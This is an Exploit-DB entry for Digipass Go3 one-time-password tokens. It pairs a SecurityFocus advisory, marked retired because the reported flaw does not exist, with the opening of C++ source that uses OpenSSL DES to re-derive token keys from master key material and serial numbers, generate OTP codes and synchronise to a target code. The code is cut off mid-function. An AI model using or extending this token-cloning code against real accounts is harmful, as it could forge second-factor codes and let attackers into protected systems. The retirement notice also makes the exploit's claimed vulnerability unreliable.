Exploit-DB #28987
Description: Digipass Go3 - Insecure Encryption
Type: remote
Platform: multiple
Date: 2006-11-13
Author: faypou

Exploit:
// source: https://www.securityfocus.com/bid/21040/info

Digipass Go3 is prone to an insecure-encryption vulnerability because the device uses an insecure encryption algorithm to encrypt sensitive data. 

An attacker can exploit this issue to brute-force the encryption key and gain access to potentially sensitive data. This may lead to other attacks.

RETIRED: This BID is retired because the vulnerability as described does not exist.

/* (c) 2006-2006 faypou (a.k.a fc) */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <time.h>
#include <string.h>

#ifdef _WIN32

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma comment(lib, "libeay32.lib")

typedef unsigned __int64 uint64_t;

#else // _WIN32

#include <unistd.h>
#include <sys/time.h>

typedef unsigned char  BYTE;
typedef unsigned short WORD;
typedef unsigned int   DWORD;
typedef const char *   LPCSTR;
typedef unsigned long long uint64_t;

#endif // _WIN32

#include <openssl/des.h>

// ----------------------------------------------------------------------------

#define TRACE printf

#if 1
#define HIT_KEY_TO_CONTINUE() do { TRACE("\t\thit a key to continue\n");\
                                                                getc(stdin);\
                                                        }while (0)
#endif

//#define HIT_KEY_TO_CONTINUE()

// ----------------------------------------------------------------------------

#define SERIAL_LEN       (5)
#define ARGC_COUNT       (7)

#define MK         __argv[1]
#define DEL        __argv[2]
#define DKEY       __argv[3]
#define TDKEY      __argv[4]
#define OFFSET     __argv[5]
#define SERIAL     __argv[6]

#define TARGET     __argv[7]

// ----------------------------------------------------------------------------

typedef struct Digipass_GO3_ctx_
{
        BYTE  vMasterKey  [sizeof(DES_cblock) * 2];
        BYTE  vDEL        [sizeof(DES_cblock)    ];
        BYTE  vDES64KEY   [sizeof(DES_cblock)    ];
        BYTE  vA_TDES64KEY[sizeof(DES_cblock)    ];
        BYTE  vA_OFFSET   [sizeof(DES_cblock)    ];
        BYTE  vSERIAL     [SERIAL_LEN            ];

        // master keys
        DES_key_schedule  ks_master[2];

        // hold 3DES 112 "master-derived" keys
        DES_key_schedule  ks_digipass[2];
        DES_cblock        digipass_k[2];

        DES_cblock secret1; // 8 bytes
        DES_cblock secret2; // 8 bytes

        // only 3 first bytes used to derive OTPs
        DES_cblock        secret3;

        // finally, token keys
        DES_key_schedule ks_token[2];

} Digipass_GO3_ctx_t;

// ----------------------------------------------------------------------------
class CDigipassGO3
{
        public:
                CDigipassGO3() {
                        ResetState();
                        }

                ~CDigipassGO3() {
                        ResetState();
                        }

                static BYTE inline TO_I(char c) {
                        BYTE cc = (BYTE) toupper((BYTE)c);
                        return ( c > '9' /* hex chars */ ) ? (cc - '7') : (cc - '0');
                        }

                bool InitCtx(   LPCSTR szMK,
                                                LPCSTR szDEL,
                                                LPCSTR szDKEY,
                                                LPCSTR szTDKEY,
                                                LPCSTR szOFFSET,
                                                LPCSTR szSERIAL
                                                );

                void GetOTP(time_t start, char *GeneratedOTP = NULL);

                bool Synchronize(LPCSTR szTarget);

                time_t GetTimeDrift(void) {
                                return m_sync_delta;
                        }

                LPCSTR GetOTP_Str(void) {
                                return m_szTokenCode;
                        }

                enum {
                                // time step itself is fixed during Digipass init
                                TIME_WINDOW_SIZE = 100,

                                GO3_CODE_LEN = 6,

                                SEC_DELTA = 36,

                                GO3_PERIOD = (1 * SEC_DELTA)
                        };
 private:
                void ResetState(void) {
                        memset(this, 0, sizeof(*this));
                        }

                void MakePreSecretFromSerial(DES_cblock &pre, BYTE ord);

                bool DeriveKeys(void);

                static bool ConvertHexStrToByteVector(LPCSTR szSTR, BYTE *pBase);

                Digipass_GO3_ctx_t   m_ctx;
                BYTE                *m_pDerivePinPtr;
                size_t               m_sync_delta;
                char                 m_szTokenCode[GO3_CODE_LEN + 1];
};

// ----------------------------------------------------------------------------
// converts the hex string representation to byte vector representation;
// ----------------------------------------------------------------------------
bool CDigipassGO3::ConvertHexStrToByteVector(LPCSTR szSTR, BYTE *pBase)
{
        size_t len = strlen(szSTR);

        if ( len & 1 )
        {
                TRACE("\tmalformed hex_str not multiple of 2: '%s'...\n", szSTR);
                return false;
        }

        TRACE("\tconverting '%s' to bin...\n", szSTR);

        for ( size_t i = 0, j = 0; i < len; j++, i += 2 )
        {
                pBase[j] = (TO_I(szSTR[i]) << 4) + TO_I(szSTR[i + 1]);
        }

        return true;
}

// ----------------------------------------------------------------------------
//
// we received string material; make DigipassGO3 derivations;
//
// ----------------------------------------------------------------------------
bool CDigipassGO3::InitCtx(             LPCSTR szMK,
 LPCSTR sz